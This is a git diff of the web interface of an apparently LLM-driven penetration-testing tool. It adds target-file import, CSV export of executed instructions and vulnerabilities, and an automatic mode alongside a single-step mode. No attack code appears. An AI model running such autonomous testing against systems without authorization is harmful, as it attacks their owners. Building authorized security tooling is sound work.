}else { }else {
@ -195,7 +202,7 @@ async function updateTestMode(mode){ //0-人工,1-自动
} }
} catch (error) { } catch (error) {
console.error("控制任务状态异常:", error); console.error("控制任务状态异常:", error);
alert("控制任务状态异常:",error); alert("控制任务状态异常:"+error);
if( cur_task.workType === 0){ //人工 修改失败还原单选按钮点击状态 if( cur_task.workType === 0){ //人工 修改失败还原单选按钮点击状态
set_radio_selection('testMode', 'manual'); set_radio_selection('testMode', 'manual');
}else { //1-自动 }else { //1-自动
@ -218,13 +225,18 @@ async function controlTask(){
alert("请先选择一个任务!") alert("请先选择一个任务!")
return return
} }
if(cur_task.taskStatus === 1){
if (!confirm("确认暂停该任务吗?为保障任务执行,暂停后需要等待工作线程都执行完当前任务并退出后,才可以重新启动! ")){
return
}
}
try { try {
const res = await fetch("/api/task/taskcontrol", { const res = await fetch("/api/task/taskcontrol", {
method: "POST", method: "POST",
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
body: JSON.stringify({ cur_task_id }), //task_id:task_id body: JSON.stringify({ cur_task_id }), //task_id:task_id
}); });
// 新增状态码校验
if (!res.ok) { if (!res.ok) {
const errorData = await res.json(); const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
@ -234,7 +246,7 @@ async function controlTask(){
//更新页面 //更新页面
if(newstatus === 0){ if(newstatus === 0){
document.getElementById("detailTestStatus").textContent = "暂停中"; document.getElementById("detailTestStatus").textContent = "暂停中";
actionButton.textContent = "继续"; actionButton.textContent = "启动";
}else if(newstatus === 1){ }else if(newstatus === 1){
document.getElementById("detailTestStatus").textContent = "执行中"; document.getElementById("detailTestStatus").textContent = "执行中";
actionButton.textContent = "暂停"; actionButton.textContent = "暂停";
@ -246,9 +258,10 @@ async function controlTask(){
setSetpBtnStatus(); setSetpBtnStatus();
//更新task_list的显示 //更新task_list的显示
updateTaskList(); updateTaskList();
alert("控制任务状态成功!")
} catch (error) { } catch (error) {
console.error("控制任务状态异常:", error); console.error("控制任务状态异常:"+error);
alert("控制任务状态异常:",error); alert("控制任务状态异常:"+error);
} }
} }
@ -284,11 +297,11 @@ async function overTask(){
//重新获取任务list //重新获取任务list
getTasklist(); getTasklist();
}else { }else {
alert("结束任务失败:",error); alert("结束任务失败:"+error);
} }
} }
} catch (error) { } catch (error) {
alert("结束任务失败:",error); alert("结束任务失败:"+error);
} }
} }
@ -299,6 +312,11 @@ function updateTaskList(){
if (selectedEl) { if (selectedEl) {
let safeR = getstrsafeR(cur_task.safeRank); let safeR = getstrsafeR(cur_task.safeRank);
let taskS = getstrTaskS(cur_task.taskStatus); let taskS = getstrTaskS(cur_task.taskStatus);
if (taskS === "执行中") {
selectedEl.classList.add("running");
} else {
selectedEl.classList.remove("running");
}
const statusDiv = selectedEl.querySelector(".task-status"); const statusDiv = selectedEl.querySelector(".task-status");
statusDiv.textContent = `${taskS}-${safeR}`; statusDiv.textContent = `${taskS}-${safeR}`;
} }
@ -364,11 +382,11 @@ async function one_step_task(){
alert("该任务已提交单步工作,请稍候查看执行结果!") alert("该任务已提交单步工作,请稍候查看执行结果!")
} }
else{ else{
error = data.erroe; error = data.error;
alert("该任务单步失败!",error) alert("该任务单步失败!"+error)
} }
}catch (error) { }catch (error) {
alert("该节点单步失败,请联系管理员!", error); alert("该节点单步失败,请联系管理员!"+error);
} }
} }
@ -401,6 +419,13 @@ function renderTableRows(tbody, rowsData) {
} }
} }
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//--------------------------测试指令------------------------------- //--------------------------测试指令-------------------------------
let allInstrs = []; let allInstrs = [];
let currentInstrPage = 1; let currentInstrPage = 1;
@ -449,7 +474,37 @@ async function searchInstructions(page = 1) {
//导出测试指令数据 //导出测试指令数据
async function ExportInstructions(){ async function ExportInstructions(){
alert("导出指令功能实现中。。。"); // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定测试指令查询按钮事件 // 绑定测试指令查询按钮事件
@ -516,7 +571,38 @@ async function searchVulnerabilities(page = 1) {
//导出漏洞数据 //导出漏洞数据
async function ExportVuls(){ async function ExportVuls(){
alert("导出漏洞功能实现中。。。"); // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定漏洞数据查询按钮事件 // 绑定漏洞数据查询按钮事件

2
web/main/templates/assets_manager.html

@ -8,7 +8,7 @@
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3> <h3 style="text-align: center;padding: 10px"> 功能规划中,在二期实现。。。</h3>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->

2
web/main/templates/header.html

@ -29,7 +29,7 @@
<ul class="dropdown-menu text-small"> <ul class="dropdown-menu text-small">
<li><a class="dropdown-item" href="/user_manager.html">修改密码</a></li> <li><a class="dropdown-item" href="/user_manager.html">修改密码</a></li>
<li><hr class="dropdown-divider"></li> <li><hr class="dropdown-divider"></li>
<li><a class="dropdown-item" href="#">退 出</a></li> <li><a class="dropdown-item" href="/api/user/logout">退 出</a></li>
</ul> </ul>
</div> </div>
</div> </div>

93
web/main/templates/his_task.html

@ -37,16 +37,48 @@
height: 45px; height: 45px;
overflow: hidden; overflow: hidden;
} }
/* 模态框内部最大高度,超出部分滚动 */
.modal-dialog { .tab-wrapper {
max-height: calc(100vh+20px); max-height: calc(100vh - 60px - 56px - 66px - 14px);
overflow: hidden; /* 防止溢出 */
} }
.modal-content {
max-height: calc(100vh+20px); .tab-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow: hidden; /* 防止溢出 */
} }
.modal-body { .tab-pane {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px);
overflow-x: hidden;
overflow-y: auto; overflow-y: auto;
.row {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow: hidden; /* 防止溢出 */
} }
.his-node-tree-area {
width: 100%;
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
border: 1px solid #ddd;
/* overflow: hidden; 超出时出现滚动条 */
overflow-x: auto;
overflow-y: hidden;
background-color: #f8f9fa;
text-align: center; /* 内部 inline-block 居中 */
position: relative;
}
/* 树节点内容区域,不包含刷新按钮 */
.his-tree-content {
max-height: calc(100vh - 60px - 56px - 66px - 14px - 42px - 35px);
overflow-x: auto;
overflow-y: auto;
padding-top: 5px; /* 留出顶部刷新按钮位置 */
/* 关键一行:至少宽度撑满其内部内容 */
min-width: max-content;
}
/* 这里设置页码按钮样式(可根据需要调整) */ /* 这里设置页码按钮样式(可根据需要调整) */
.pagination { .pagination {
margin: 0; margin: 0;
@ -108,6 +140,7 @@
<option value="">使用模型</option> <option value="">使用模型</option>
<option value="1">DeepSeek</option> <option value="1">DeepSeek</option>
<option value="2">GPT-O3</option> <option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select> </select>
</div> </div>
<div class="col-2" > <div class="col-2" >
@ -127,13 +160,13 @@
<table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;"> <table class="table table-bordered table-hover" id="histasksTable" style="width: 100%; table-layout: fixed;">
<thead class="table-light"> <thead class="table-light">
<tr> <tr>
<th style="width: 60px;">ID</th> <th style="width: 5%;">ID</th>
<th style="width: 20%;">检测目标</th> <th style="width: 20%;">检测目标</th>
<th style="width: 15%;">开始时间</th> <th style="width: 15%;">开始时间</th>
<th style="width: 15%;">结束时间</th> <th style="width: 15%;">结束时间</th>
<th style="width: 15%;">风险等级</th> <th style="width: 10%;">风险等级</th>
<th style="width: 15%;">使用模型</th> <th style="width: 15%;">使用模型</th>
<th style="width: 100px;">操作</th> <th style="width: 20%;">操作</th>
</tr> </tr>
</thead> </thead>
<tbody id="histasksTbody"> <tbody id="histasksTbody">
@ -189,29 +222,26 @@
</ul> </ul>
<div class="tab-content" id="myTabContent"> <div class="tab-content" id="myTabContent">
<!-- 节点树 --> <!-- 节点树 -->
<div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab"> <div class="tab-pane fade show active p-3" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
<div class="row h-100"> <div class="row">
<!-- 左侧:节点树区域 --> <!-- 左侧:节点树区域 -->
<div class="col-8 h-100"> <div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer" style="height: 100%; overflow-y: auto; position: relative; background-color: #f8f9fa;"> <div class="his-node-tree-area" id="nodeTreeContainer">
<!-- 固定刷新按钮 -->
<!-- <div class="refresh-container" style="position: absolute; top: 5px; left: 5px; z-index: 100;">-->
<!-- <button class="tree-refresh btn btn-primary btn-sm" id="btnRefresh" title="刷新节点树">&#x21bb;</button>-->
<!-- </div>-->
<!-- 节点树内容 --> <!-- 节点树内容 -->
<div id="treeContent" class="tree-content" style="padding-top: 40px;"> <div id="treeContent" class="his-tree-content">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p> <p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div> </div>
</div> </div>
</div> </div>
<!-- 右侧:节点信息与操作 --> <!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100"> <div class="col-4 h-100">
<div class="node-info-area mb-3" style="padding: 10px;"> <div class="node-info-area mb-2" style="padding: 10px;">
<h5>节点信息</h5> <!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p> <p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p> <p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p> <p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p> <p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p> <p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p> <p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div> </div>
@ -455,7 +485,7 @@
<!-- 页面脚本块 --> <!-- 页面脚本块 -->
{% block script %} {% block script %}
<script src="{{ url_for('main.static', filename='scripts/task_modal.js') }}"></script> <script src="{{ url_for('main.static', filename='scripts/his_task_modal.js') }}"></script>
<script> <script>
// 全局变量 // 全局变量
let cur_task_id = 0; let cur_task_id = 0;
@ -503,6 +533,9 @@
else if(task[3]===2){ else if(task[3]===2){
model_test="GPT-O3"; model_test="GPT-O3";
} }
else if(task[3]===4){
model_test="Qwen3";
}
else{ else{
model_test="其他模型"; model_test="其他模型";
} }
@ -510,15 +543,21 @@
tr.appendChild(tdModel); tr.appendChild(tdModel);
const tdAction = document.createElement("td"); const tdAction = document.createElement("td");
//报告按钮
const btnReport = document.createElement("button");
btnReport.className = "btn btn-outline-info btn-sm ms-2";
btnReport.textContent = "报告";
btnReport.onclick = () => createReport(task[0]);
tdAction.appendChild(btnReport);
// 查看按钮(点击后弹出 modal) // 查看按钮(点击后弹出 modal)
const btnView = document.createElement("button"); const btnView = document.createElement("button");
btnView.className = "btn btn-outline-info btn-sm"; btnView.className = "btn btn-outline-info btn-sm ms-2";
btnView.textContent = "查看"; btnView.textContent = "查看";
btnView.onclick = () => openViewModal(task[0]); btnView.onclick = () => openViewModal(task[0]);
tdAction.appendChild(btnView); tdAction.appendChild(btnView);
// 删除按钮(示例) // 删除按钮
const btnDel = document.createElement("button"); const btnDel = document.createElement("button");
btnDel.className = "btn btn-outline-danger btn-sm ms-1"; btnDel.className = "btn btn-outline-danger btn-sm ms-2";
btnDel.textContent = "删除"; btnDel.textContent = "删除";
btnDel.onclick = () => confirmDeleteTask(task[0]); btnDel.onclick = () => confirmDeleteTask(task[0]);
tdAction.appendChild(btnDel); tdAction.appendChild(btnDel);
@ -540,6 +579,10 @@
updatePagination(); updatePagination();
} }
function createReport(task_id){
alert("导出报告的功能实现中--"+task_id)
}
// 更新分页按钮 // 更新分页按钮
function updatePagination() { function updatePagination() {
const totalPages = Math.ceil(allHistasks.length / pageSize); const totalPages = Math.ceil(allHistasks.length / pageSize);
@ -600,7 +643,7 @@
const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false }); const viewModal = new bootstrap.Modal(document.getElementById("viewModal"), { keyboard: false });
viewModal.show(); viewModal.show();
//查询节点树数据 //查询节点树数据
loadNodeTree(task_id); his_loadNodeTree(task_id);
//查询指令数据 //查询指令数据
searchInstructions(1); searchInstructions(1);
//查询漏洞数据 //查询漏洞数据
@ -640,7 +683,7 @@
alert("删除成功") alert("删除成功")
} }
else{ else{
alert("删除失败:",data.error) alert("删除失败:"+data.error)
return false; return false;
} }
} catch (error) { } catch (error) {

98
web/main/templates/index.html

@ -21,28 +21,20 @@
type="text" type="text"
class="form-control" class="form-control"
id="testTarget" id="testTarget"
placeholder="输入测试目标" placeholder="输入测试目标。多目标以,(英文逗号)隔开,或导入txt文件(一行一个目标)"
required required
/> />
</div> </div>
<!-- cookie 信息输入框,左缩进,非必填 --> <!-- cookie 信息输入框,左缩进,非必填 -->
<div class="mb-3"> <div class="mb-3">
<div style="margin-left: 20px;margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">cookie信息 (非必填):</label>
<input
type="text"
class="form-control"
id="cookieInfo"
placeholder="输入cookie信息"
/>
</div>
<!-- 模型选择 --> <!-- 模型选择 -->
<div style="margin-left: 20px; margin-bottom: 10px"> <div style="margin-left: 20px; margin-bottom: 10px">
<label class="fw-bold" style="font-size:0.9rem">模型选择:</label> <label class="fw-bold" style="font-size:0.9rem">模型选择:</label>
<select class="form-select" id="modelSelect" style="font-size:0.9rem"> <select class="form-select" id="modelSelect" style="font-size:0.9rem">
<option value="DeepSeek">DeepSeek</option> <option value="1">DeepSeek</option>
<option value="GPT-O3">GPT-O3</option> <option value="2">GPT-O3</option>
<option value="4">Qwen3</option>
</select> </select>
</div> </div>
@ -77,15 +69,18 @@
</div> </div>
</div> </div>
<!-- 隐藏的文件输入框 -->
<input type="file" id="fileInput" accept=".txt" style="display:none;"/>
<!-- 开始按钮,右对齐 --> <!-- 开始按钮,右对齐 -->
<div class="mb-3 text-end"> <div class="mb-3 text-end">
<button id="addfileButton" class="btn btn-primary">目标文件</button>
<button id="startButton" class="btn btn-primary">开始</button> <button id="startButton" class="btn btn-primary">开始</button>
</div> </div>
<!-- 使用说明 --> <!-- 使用说明 -->
<div class="mt-4"> <div class="mt-4">
<label for="usage" class="form-label">使用说明:</label> <label for="usage" class="form-label">使用说明:</label>
<textarea class="form-control" id="usage" rows="10"> <textarea class="form-control" id="usage" rows="9">
1.测试模式分为两种:自动执行和人工确认(单步模式),模式的切换只允许在暂停情况下调整; 1.测试模式分为两种:自动执行和人工确认(单步模式),模式的切换只允许在暂停情况下调整;
2.暂停不停止正在执行指令,指令执行后会根据当前参数的设定执行下一步工作; 2.暂停不停止正在执行指令,指令执行后会根据当前参数的设定执行下一步工作;
3.单步的作用是将节点中:待执行的指令进行执行,待提交LLM的数据提交LLM; 3.单步的作用是将节点中:待执行的指令进行执行,待提交LLM的数据提交LLM;
@ -93,8 +88,9 @@
5.由于LLM的不一致性,会存在无执行任务,但没有标记完成的任务节点,可作为已完成论; 5.由于LLM的不一致性,会存在无执行任务,但没有标记完成的任务节点,可作为已完成论;
6.在单步模式下,若某指令执行的结果错误,可以在查看MSG功能里,修改待提交的执行结果,来保障测试的顺利推进; 6.在单步模式下,若某指令执行的结果错误,可以在查看MSG功能里,修改待提交的执行结果,来保障测试的顺利推进;
7.对于已经验证漏洞存在的节点,若LLM返回了测试指令,但没有必要继续验证的话,可以点击该节点的暂停按钮,暂停该节点的测试推进; 7.对于已经验证漏洞存在的节点,若LLM返回了测试指令,但没有必要继续验证的话,可以点击该节点的暂停按钮,暂停该节点的测试推进;
8.本工具仅限于在得到授权的前提下使用,若目标重要性很高,请使用单步模式,确认测试指令的影响后执行。
</textarea> </textarea>
<div style="color: red; margin-top: 0.5rem;">****本工具仅限于在得到授权的前提下使用,若目标重要性很高,请使用单步模式,确认测试指令的影响后执行!
</div>
</div> </div>
</div> </div>
{% endblock %} {% endblock %}
@ -108,12 +104,15 @@
const selectedModel = this.value; const selectedModel = this.value;
console.log("选择的模型为:" + selectedModel); console.log("选择的模型为:" + selectedModel);
// 可根据需要进一步处理选中模型 // 可根据需要进一步处理选中模型
if(selectedModel === "DeepSeek"){ if(selectedModel === "1"){
curmodel = 1 curmodel = 1;
}else if(selectedModel === "GPT-O3"){ }else if(selectedModel === "2"){
curmodel = 2 //暂时用2233.ai接口代替o3 curmodel = 2; //暂时用2233.ai接口代替o3
} }else if(selectedModel === "4") {
else { curmodel = 4;
}else if(selectedModel === "5") {
curmodel = 5;
} else {
alert("模型参数存在问题,请联系管理员!!"); alert("模型参数存在问题,请联系管理员!!");
} }
}); });
@ -121,7 +120,6 @@
document.getElementById("startButton").addEventListener("click", async () => { document.getElementById("startButton").addEventListener("click", async () => {
//取值 //取值
const testTarget = document.getElementById("testTarget").value; const testTarget = document.getElementById("testTarget").value;
const cookieInfo = document.getElementById("cookieInfo").value;
let workType = 0; //0-人工,1-自动 let workType = 0; //0-人工,1-自动
const selected = document.getElementById('manualMode').checked; const selected = document.getElementById('manualMode').checked;
if(selected){ if(selected){
@ -142,31 +140,63 @@
}, },
body: JSON.stringify({ body: JSON.stringify({
testTarget, testTarget,
cookieInfo,
workType, workType,
curmodel, curmodel,
}), }),
}); });
// // 状态码校验 // 状态码校验
// if (!response.ok) { if (!response.ok) {
// const errorData = await res.json(); const errorData = await res.json();
// throw new Error(errorData.error || `HTTP错误 ${res.status}`); throw new Error(errorData.error || `HTTP错误 ${res.status}`);
// } }
// 如果后端返回了重定向,则前端自动跳转
if (response.redirected) {
window.location.href = response.url;
} else { //除了跳转,都是返回的错误信息
const data = await response.json(); const data = await response.json();
if (data.error) { fail_list = data.fail_list;
alert(data.error); if(fail_list.trim() !== ""){
} alert("创建任务成功,失败的有:"+fail_list);
} }
window.location.href = "/task_manager.html";
} catch (error) { } catch (error) {
console.error("Error:", error); console.error("Error:", error);
alert("请求出错,请稍后再试!"); alert("请求出错,请稍后再试!");
} }
}); });
//上传目标文件
const fileInput = document.getElementById('fileInput');
const addfileButton = document.getElementById('addfileButton');
const testTargetInput = document.getElementById('testTarget');
// 点击“目标文件”按钮时触发文件选择
addfileButton.addEventListener('click', () => {
fileInput.value = null; // 允许重复选择同一个文件
fileInput.click();
});
// 文件选中后读取内容、替换换行并填入输入框
fileInput.addEventListener('change', async (e) => {
const file = e.target.files[0];
if (!file) return;
try {
// 现代浏览器支持直接用 File.text()
const text = await file.text();
// 按行拆分、去空行、再用英文逗号拼起来
const targets = text
.split(/\r?\n/) // 按 Unix/Windows 换行拆分
.map(line => line.trim()) // 去掉每行首尾空白
.filter(line => line) // 丢掉空行
.join(',');
// 填入测试目标输入框
testTargetInput.value = targets;
} catch (err) {
console.error('读取文件失败', err);
alert('读取文件失败,请检查文件格式');
}
});
</script> </script>
{% endblock %} {% endblock %}

49
web/main/templates/task_manager.html

@ -52,6 +52,11 @@
cursor: pointer; cursor: pointer;
transition: background-color 0.3s ease, box-shadow 0.3s ease; transition: background-color 0.3s ease, box-shadow 0.3s ease;
} }
.task-item.running {
/*border: 2px solid #52c41a;*/
border: 2px solid #1890ff; /* 蓝色边框 */
}
/* 任务项选中状态样式 */ /* 任务项选中状态样式 */
.task-item.selected { .task-item.selected {
background-color: #e6f7ff; background-color: #e6f7ff;
@ -68,6 +73,9 @@
/* 任务目标样式,第一行 */ /* 任务目标样式,第一行 */
.task-target { .task-target {
font-weight: bold; font-weight: bold;
white-space: nowrap; /* 不换行 */
overflow: hidden; /* 超出隐藏 */
text-overflow: ellipsis; /* 超出显示... */
} }
/* 任务状态,第二行,有缩进 */ /* 任务状态,第二行,有缩进 */
.task-status { .task-status {
@ -111,6 +119,21 @@
overflow-y: auto; overflow-y: auto;
} }
.modal-dialog {
max-width: calc(100vw - 10rem);
margin: 1rem auto;
}
.table {
width: 100%;
table-layout: fixed;
}
.table th,
.table td {
word-wrap: break-word;
white-space: normal;
}
.disabled-btn { .disabled-btn {
/* 禁用状态样式 */ /* 禁用状态样式 */
background-color: #cccccc; /* 灰色背景 */ background-color: #cccccc; /* 灰色背景 */
@ -187,13 +210,12 @@
</div> </div>
<!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> --> <!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> -->
<div class="col-3 d-flex justify-content-center align-items-center"> <div class="col-3 d-flex justify-content-center align-items-center">
<!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->继续, 已结束->重启) --> <!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->启动,) -->
<button class="btn btn-primary btn-block" id="actionButton">暂停</button> <button class="btn btn-primary btn-block" id="actionButton">启动</button>
<button class="btn btn-primary btn-block m-2" id="one_step">单步</button> <button class="btn btn-primary btn-block m-2" id="one_step">单步</button>
<button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button> <button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button>
</div> </div>
</div> </div>
<!-- 下方:Tab 页 --> <!-- 下方:Tab 页 -->
<div class="tab-wrapper"> <div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist"> <ul class="nav nav-tabs" id="myTab" role="tablist">
@ -242,12 +264,7 @@
</ul> </ul>
<div class="tab-content " id="myTabContent"> <div class="tab-content " id="myTabContent">
<!-- 节点树 --> <!-- 节点树 -->
<div <div class="tab-pane fade show active p-3 h-100" id="nodeTree" role="tabpanel" aria-labelledby="nodeTreeTab">
class="tab-pane fade show active p-3 h-100"
id="nodeTree"
role="tabpanel"
aria-labelledby="nodeTreeTab"
>
<div class="row h-100"> <div class="row h-100">
<!-- 左侧:节点树区域 --> <!-- 左侧:节点树区域 -->
<div class="col-8 h-100"> <div class="col-8 h-100">
@ -266,12 +283,13 @@
</div> </div>
<!-- 右侧:节点信息与操作 --> <!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100"> <div class="col-4 h-100">
<div class="node-info-area mb-3"> <div class="node-info-area mb-2">
<h5>节点信息</h5> <!-- <h5>节点信息</h5>-->
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p> <p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p> <p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p> <p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p> <p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>漏洞说明:</strong> <span id="node_vulInfo">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p> <p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p> <p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div> </div>
@ -401,9 +419,16 @@
</div> </div>
</div> </div>
<table class="table table-bordered table-hover" id="vulTable"> <table class="table table-bordered table-hover" id="vulTable">
<colgroup>
<col style="width: 5%;">
<col style="width: 35%;">
<col style="width: 15%;">
<col style="width: 10%;" class="wrap-cell">
<col style="width: auto;">
</colgroup>
<thead> <thead>
<tr> <tr>
<th class="seq-col">序号</th> <th>序号</th>
<th>节点路径</th> <th>节点路径</th>
<th>漏洞类型</th> <th>漏洞类型</th>
<th>漏洞级别</th> <th>漏洞级别</th>

19
web/main/templates/task_manager_modal.html

@ -59,19 +59,20 @@
role="tabpanel" role="tabpanel"
aria-labelledby="doneInstrTab" aria-labelledby="doneInstrTab"
> >
<table class="table table-bordered table-hover"> <div class="table-responsive">
<table class="table table-bordered table-hover" id="doneInstrTable">
<thead> <thead>
<tr> <tr>
<th style="width: 50px;">序号</th> <th style="width: 5%;">序号</th>
<th>执行指令</th> <th style="width: 35%;">执行指令</th>
<th>执行时间</th> <th style="width: 10%;">执行时间</th>
<th>执行结果</th> <th style="width: 50%;">执行结果</th>
</tr> </tr>
</thead> </thead>
<tbody id="doneInstrTbody"> <tbody id="doneInstrTbody">
<!-- 动态生成,固定 10 行 --> <!-- 动态生成,固定 10 行 -->
</tbody> </tbody>
</table> </table></div>
<!-- 分页控件 --> <!-- 分页控件 -->
<nav> <nav>
<ul class="pagination justify-content-end" id="doneInstrPagination"> <ul class="pagination justify-content-end" id="doneInstrPagination">
@ -178,10 +179,6 @@
</li> </li>
</ul> </ul>
</nav> </nav>
<!-- 导出按钮 -->
<div class="text-end">
<button class="btn btn-primary" id="btnExportSubmitted">导出</button>
</div>
</div> </div>
<!-- 待提交 Tab --> <!-- 待提交 Tab -->
@ -208,6 +205,8 @@
<div class="modal-footer"> <div class="modal-footer">
<!-- 关闭按钮 --> <!-- 关闭按钮 -->
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<!-- &lt;!&ndash; 导出按钮 &ndash;&gt;-->
<!-- <button class="btn btn-primary" id="btnExportSubmitted">导出</button>-->
</div> </div>
</div> </div>
</div> </div>

2
web/main/templates/user_manager.html

@ -20,7 +20,7 @@
<div class="container d-flex flex-column" > <div class="container d-flex flex-column" >
<div class="row justify-content-center align-items-center mb-2"> <div class="row justify-content-center align-items-center mb-2">
<div class="col-md-2 text-end"><label class="col-form-label form-label">用户名:</label></div> <div class="col-md-2 text-end"><label class="col-form-label form-label">用户名:</label></div>
<div class="col-md-7"><p class="form-control-plaintext" id="system_version">zfadmin</p></div> <div class="col-md-7"><p class="form-control-plaintext" id="system_version">ZFadmin</p></div>
</div> </div>
<div class="row justify-content-center align-items-center mb-2"> <div class="row justify-content-center align-items-center mb-2">
<div class="col-md-2 text-end"><label class="col-form-label form-label">原密码:</label></div> <div class="col-md-2 text-end"><label class="col-form-label form-label">原密码:</label></div>

2
web/main/templates/vul_manager.html

@ -8,7 +8,7 @@
<!-- 页面内容块 --> <!-- 页面内容块 -->
{% block content %} {% block content %}
<h3 style="text-align: center;padding: 10px"> 功能建设中,在二期实现。。。</h3> <h3 style="text-align: center;padding: 10px"> 功能规划中,在二期实现。。。</h3>
{% endblock %} {% endblock %}
<!-- 页面脚本块 --> <!-- 页面脚本块 -->

Loading…
Cancel
Save